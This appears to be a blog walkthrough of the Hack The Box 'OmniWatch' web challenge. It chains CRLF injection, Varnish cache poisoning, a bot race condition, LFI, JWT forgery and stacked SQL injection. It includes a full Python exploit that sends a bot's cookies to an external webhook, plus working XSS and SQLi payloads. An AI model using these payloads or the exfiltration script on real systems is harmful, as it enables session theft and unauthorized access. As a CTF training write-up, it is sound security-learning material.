# OmniWatch

## OVERVIEW

---

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760857154644/8d9700db-bffe-471a-ad1e-66aab6d8d64c.png align="center")

So we have given Some Files To Download and Instance . So Let’s start the instance and also view the source code or the data we are given

So In the website we can see there is a authentication/login feature

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760857319611/891f4c03-7116-4c6a-8c4e-763b8e885a99.png align="left")

So Since we don’t have Username and Password So let’s check the files we had downloaded

![Overview Of The Downloaded Files](https://cdn.hashnode.com/res/hashnode/image/upload/v1760863438436/e47fecdb-83a5-4cd9-99dd-d47a12fc7140.png align="center")

We have a web app consisting of 2 services, one written in **Zig** using the **http.zig** framework and one written in Python using the **Flask framework.**

They both sit behind a varnish cache, and a MySQL database is used for storing data. The oracle service is used for fetching location by providing the id of a device.

The controller service requires authentication and is used to browse tracking device data as well as browsing firmware updates.

## CRLF injection in http.zig

Let's have a closer look on the oracle function of the **main.zig** service

```apache
fn oracle(req: *httpz.Request, res: *httpz.Response) !void {
    var gpa = std.heap.GeneralPurposeAllocator(.{}){};
    const allocator = gpa.allocator();

    const deviceId = req.param("deviceId").?;
    const mode = req.param("mode").?;
    const decodedDeviceId = try std.Uri.unescapeString(allocator, deviceId);
    const decodedMode = try std.Uri.unescapeString(allocator, mode);

    const latitude = try randomCoordinates();
    const longtitude = try randomCoordinates();

    res.header("X-Content-Type-Options", "nosniff");
    res.header("X-XSS-Protection", "1; mode=block");
    res.header("DeviceId", decodedDeviceId);

    if (std.mem.eql(u8, decodedMode, "json")) {
        try res.json(.{ .lat = latitude, .lon = longtitude }, .{});
    } else {
        const htmlTemplate =
            \\<!DOCTYPE html>
            \\<html>
            \\    <head>
            \\        <title>Device Oracle API v2.6</title>
            \\    </head>
            \\<body>
            \\    <p>Mode: {s}</p><p>Lat: {s}</p><p>Lon: {s}</p>
            \\</body>
            \\</html>
        ;

        res.body = try std.fmt.allocPrint(res.arena, htmlTemplate, .{ decodedMode, latitude, longtitude });
    }
}
```

The `deviceId` and `mode` variables are URL-decoded and stored into two variables (`decodedDeviceId`, `decodedMode`).

If `decodedMode` is equal to `json`, a JSON response with the random coordinates is returned.

Else an HTML string is created containing `decodedMode` and the random coordinates. This looks like a possible XSS vector but because the `X-Content-Type-Options` header is set to `nosniff` and no `Content-Type` header is set the browser does not "sniff" the content type or render this response as HTML.

By searching the issues of the **http.zig** library we find a [**closed issue**](https://github.com/karlseguin/http.zig/issues/25) explaining a CRLF injection bug. All route parameters are vulnerable to CRLF injection, so we can use this to inject arbitrary headers like the Content-Type header we needed to cause XSS.

Even though this was patched we can deduct that our app since is vulnerable it's using a static version of http.zig without importing it with the help of any package manager, and if we check the signatures of the files at challenge/oracle/modules we will see they match the ones before the patch commits were made on GitHub.

So Let’s Try XSS with the URL encoded payloads on /oracle/

```apache
http://94.237.57.1:52049/oracle/%3Cscript%3Ealert%280%29%3C%2Fscript%3E/1%0D%0AContent-Type%3A%20text%2Fhtml
```

Basically the URL decoded payloads are

```apache
/oracle/<script>alert(0)</script>/1\r\nContent-Type: text/html
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760865069649/0eccee21-09bc-4468-84f3-cf3b615d04a1.png align="center")

Got the XSS payload working which means it is a successful CRLF Injection attack

## Varnish Cache Poisoning

Great now we can cause XSS, but how can we weaponize that? Let's have a closer look at **config/cache.vcl**

```apache
sub vcl_backend_response {
    if (beresp.http.CacheKey == "enable") {
        set beresp.ttl = 10s;
        set beresp.http.Cache-Control = "public, max-age=10";
    } else {
        set beresp.ttl = 0s;
        set beresp.http.Cache-Control = "public, max-age=0";
    }
 }
```

At the CacheKey header is checked for the value **vcl\_backend\_response** subroutine, which is used to forward the response from the backed to the client, the enabled . If this header is sent from the backend the response is cached for 10 seconds.

```apache
 sub vcl_hash {
    hash_data(req.http.CacheKey);
    return (lookup);
 }
```

The In this instance only the **vcl\_hash** is used to join the components of which varnish creates the hash that identifies clients.  
CacheKey header is used for this, we can abuse this to cause cache poisoning since we can inject arbitrary headers.

If we inject the arbitrary **Content-Type or X-Content-Type-Options** header alongside the enabled header and the XSS payload in the **CacheKey = mode parameter** varnish will cache the malicious response for 10 seconds, so after this any user visiting that endpoint will receive the cached response, this happens because headers by themselves are not supposed to be used as **hash\_data**

**So, we can now cause the cache poisoning + XSS**

## Race Condition In The Chromium Bot

We can try and use what we found to attack the bot that runs every 0.5 minutes but this does not work. If we poison the cache with the following payload:

```apache
<script>fetch("http://my-server.com/exfiltrate?cookies="+document.cookie)</script>
```

We receive a request with no cookies provided because in bot’s code

```apache
client.get("http://127.0.0.1:1337/controller/login")
 time.sleep(3)

 client.find_element(By.ID, "username").send_keys(config["MODERATOR_USER"])
 client.find_element(By.ID, "password").send_keys(config["MODERATOR_PASSWORD"])
 client.execute_script("document.getElementById('login-btn').click()")
 time.sleep(3)

 client.get(f"http://127.0.0.1:1337/oracle/json/{str(random.randint(1, 15))}")
 time.sleep(10)
```

Here we can see that the bot first visits the login page, waits 3 seconds, logs in using the credentials, waits another 3 seconds and then visits a random device on the oracle service.

So if we poison the cache before the user logs in there are no cookies to steal yet, and because the bot gets our cached response there are no inputs and buttons to interact with so the login step fails completely. We have to time the poisoning of the cache accurately after the login step but not after the bot visits the oracle.

Thankfully there is the **/controller/bot\_running** endpoint which gives us the status of the bot, so we can estimate to poison the cache about 3 seconds after the bot has started.

So use the below script to get the moderator JWT token

```apache
import requests
import urllib.parse
import time
import multiprocessing
from flask import Flask, request

# Configuration
CHALLENGE_URL = "http://xx.xx.xx.xx:xxxx"
EXFIL_URL = "YOUR_WEBHOOK_PUBLIC_LINK"  # Webhoook 

def start_server():
    app = Flask(__name__)

    @app.route("/exfiltrate", methods=["GET"])
    def index():
        cookies = request.args.get("cookies", "No cookies received")
        print("Leaked cookies:", cookies)
        # Save cookies to a file for persistence
        with open("exfiltrated_cookies.txt", "a") as f:
            f.write(f"{time.strftime('%Y-%m-%d %H:%M:%S')} - {cookies}\n")
        return "ok", 200

    app.run(host=EXFIL_URL, debug=False)

def url_encode(string):
    return urllib.parse.quote(string, safe="")

def check_bot():
    try:
        resp = requests.get(f"{CHALLENGE_URL}/controller/bot_running", timeout=5)
        print(f"Bot check status: {resp.text}")
        return resp.text == "running"
    except requests.RequestException as e:
        print(f"Error checking bot: {e}")
        return False

def poison_cache():
    if not check_bot():
        print("Bot not running, skipping cache poison attempt")
        return False
    time.sleep(3)

    xss = f"<script>fetch('{EXFIL_URL}/exfiltrate?cookies='+document.cookie)</script>"
    encoded_xss = url_encode(xss)
    injected_headers = "\r\nCacheKey: enable\r\nX-Content-Type-Options: undefined"
    encoded_headers = url_encode(injected_headers)
    
    try:
        final_url = f"{CHALLENGE_URL}/oracle/{encoded_xss}/1{encoded_headers}"
        print(f"Sending request to: {final_url}")
        response = requests.get(final_url, timeout=5)
        print(f"Status Code: {response.status_code}")
        print(f"Response: {response.text[:500]}")  # Truncate for readability
        return True
    except requests.RequestException as e:
        print(f"Error in poison_cache: {e}")
        return False

def poison_loop():
    while True:
        poison_cache()
        time.sleep(1)

if __name__ == "__main__":
    server = multiprocessing.Process(target=start_server)
    poison = multiprocessing.Process(target=poison_loop)
    server.start()
    poison.start()
```

In CHALLENGE\_URL use the challenge URL given and for webhook link you can go to [**webhook.site**](https://webhook.site/)  
*(Use VPN if your site is not opening)*

then run this python code and wait for the bot to **poison the cache**

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760866222627/6f2a33df-33d7-445a-ae98-5d7fd9af8539.png align="center")

Here we go Now go to your webhook.site again to see the request

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760866354116/80bfa6a0-8bdf-41d7-9335-90eb6ea506e7.png align="center")

We got our cookie , Now Copy paste this cookie in the cookies of website and access **/controller/admin**

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760866481866/c2c28ba8-f966-45fc-a159-47ff023e54cc.png align="center")

We successfully got entered in Admin Dashboard Now Let’s check other things out like **Firmware** etc

So Navigating to **/controller/firmware** reveals to us a firmware update page. There are two selections of firmware files we can preview.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760866603238/ad486054-a03a-42b9-a198-ea4408b18c60.png align="center")

On seeing the firmware section in routes.py

```apache
@web.route("/firmware", methods=["GET", "POST"])
@moderator_middleware
def firmware():
	if request.method == "GET":
		patches_avaliable = ["CyberSpecter_v1.5_config.json", "StealthPatch_v2.0_config.json"]
		return render_template("firmware.html", user_data=request.user_data, nav_enabled=True, title="OmniWatch - Firmware", patches=patches_avaliable)
	
	if request.method == "POST":
		patch = request.form.get("patch")

		if not patch:
			return response("Missing parameters"), 400

		file_data = open(os.path.join(os.getcwd(), "application", "firmware", patch)).read()
		return file_data, 200
```

We notice that the file to preview is provided as a post parameter coming from the front-end. The Python **os.path.join** method is used to build the absolute path of the file to be read.

This is vulnerable to LFI since removes the [**first section of the path if the later one is an absolute path**](https://book.hacktricks.xyz/pentesting-web/file-inclusion#python-root-element)

Let’s capture the preview firmware request inside **Burpsuite** to apply the LFI  
*(Don’t mind the host IP as Mine Instance got closed so I started it again and got new IP)*

So change the **patch = /app/jwt\_secret.txt** we got from **challenge/controller/application/util/config.py**

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760887540503/0ca8a743-8d73-4812-aec2-02c07af8ad9f.png align="center")

And by this we got our **jwt\_secret** by which we could create new jwt token

Now head to [**online python jwt compiler**](https://onecompiler.com/python/42ac9tv9g) to make new jwt with the below script

```apache
import jwt
payload = {
 "user_id": 1,
 "username": "reapsec", #name of your choice
 "account_type": "administrator"
 }
secret="YOUR_SECRET"  #add your own
print(jwt.encode(payload, secret, algorithm="HS256"))
```

And you will get your new jwt token

Remember the authentication middleware implements tamper protection so even if we generate a new JWT using the leaked secret we still won't be able to log in.  
The only way this can be bypassed is if we could insert our own signature in the database.

## SQLi To Insert Arbitrary Signatures

```apache
@web.route("/device/<id>", methods=["GET"])
@moderator_middleware
def device(id):
	mysql_interface = MysqlInterface(current_app.config)
	device = mysql_interface.fetch_device(id)
	
	if not device:
		return redirect("/controller/home")

	return render_template("device.html", user_data=request.user_data, nav_enabled=True, title=f"OmniWatch - Device {device['device_id']}", device=device)
```

At the `/controller/device/<id>` route an instance of `MysqlInterface` is created which then calls the method `fetch_device` with the provided `id` as it's parameter.

By having a look at `challenge/controller/application/util/database` we discover that this query is vulnerable to SQL injection.

Let’s create URL encoded SQLi Payloads to enter in /device/{id}

**NOTE: DON’T FORGET TO ADD SPACE AFTER EACH PAYLOAD SUCH THAT YOUR PAYLOAD SHOULD END WITH A SPACE OR %20 IN URL ENCODING**

First Let’s check whether multi-statement execution is allowed

```apache
1' OR '1'='1'; SELECT SLEEP(3); --
```

Use CyberChef to URL encode this payload with all special characters and put it after /controller/device/{id}

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760889338914/bb89c928-d87a-4603-8d0b-76fd1c3b311d.png align="center")

Since it perfectly executed it means multiline statement is allowed so we can stack an UPDATE after a SELECT

Now take the signature of the new JWT token you created above and convert it into hex using cyberchef again and put 0x in front of it

**FOR EXAMPLE: (yours will be different)**

```apache
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6InJlYXBzZWMiLCJhY2NvdW50X3R5cGUiOiJhZG1pbmlzdHJhdG9yIn0.OajF7Qjvy2CmC6VuBBYxP1H9YEy51SsTGVpnN8Gl5e4
```

This is my own jwt token which i created using above script now i am taking its signature (means third part among three parts divided by . )

```apache
OajF7Qjvy2CmC6VuBBYxP1H9YEy51SsTGVpnN8Gl5e4
```

Now head to Cyberchef and convert it into hex and put 0x in front of it

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760889738984/67b7faee-01bb-4a66-8a21-9dbe641b69f1.png align="center")

So the final signature will be

```apache
0x4f616a4637516a767932436d43365675424259785031483959457935315373544756706e4e38476c356534
```

**#ABOVE WAS JUST AN EXAMPLE YOUR VALUES WILL BE DIFFERENT**

Now let’s create a final payload to add our signature in the database to bypass the authentication

```apache
1' OR '1'='1' LIMIT 1; UPDATE signatures SET signature = YOUR_SIGNATURE WHERE user_id = 1; --
```

**(don’t forget to check the space after the payload and be sure that your URL encoded payload ends with %20 )**

URL ENCODE THIS PAYLOAD IN CYBERCHEF

Now put this payload same as before in place of id in **/controller/device/id**

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760890283861/c5284e4e-659c-4059-9dfc-1f6f14585edb.png align="center")

If it shows no error that means it is added in the database

**Now quickly copy your new jwt which you had created from above script and now change it in the cookies of this website and then go to /controller/admin**

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760890388424/98b2706b-fa44-4958-bfbc-546c044e85d3.png align="center")

And we will get the Flag !!

### NOTE:

**<mark>If you don’t see flag check your payload once again and now do it from webhook step again like use that jwt you got in webhook to go to admin dashboard and you already have the secret and custom jwt you created so no need to do that again so just enter the signature payload once again , don’t enter the multiline checking payload this time and then change the jwt in cookies with your custom made and again try accessing /controller/admin and you will get the flag.</mark>**

## **WE FINALLY DID IT !!!! CHALLENGE SOLVED !!**

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760890655403/c8d01d2f-859f-4cb0-8f9c-e17437967225.png align="center")

FOR FULL DETAILS ABOUT VULNERABILITY AND THE CHALLENGE PLEASE CHECK OUT [**OFFICIAL WALKTHROUGH**](https://app.hackthebox.com/challenges/OmniWatch/walkthroughs) OF HACK THE BOX

For Any Query Or Problem Either Leave A Comment Or Contact At [**reapsec.com**](http://reapsec.com/)

**THANKS FOR READING !!!**
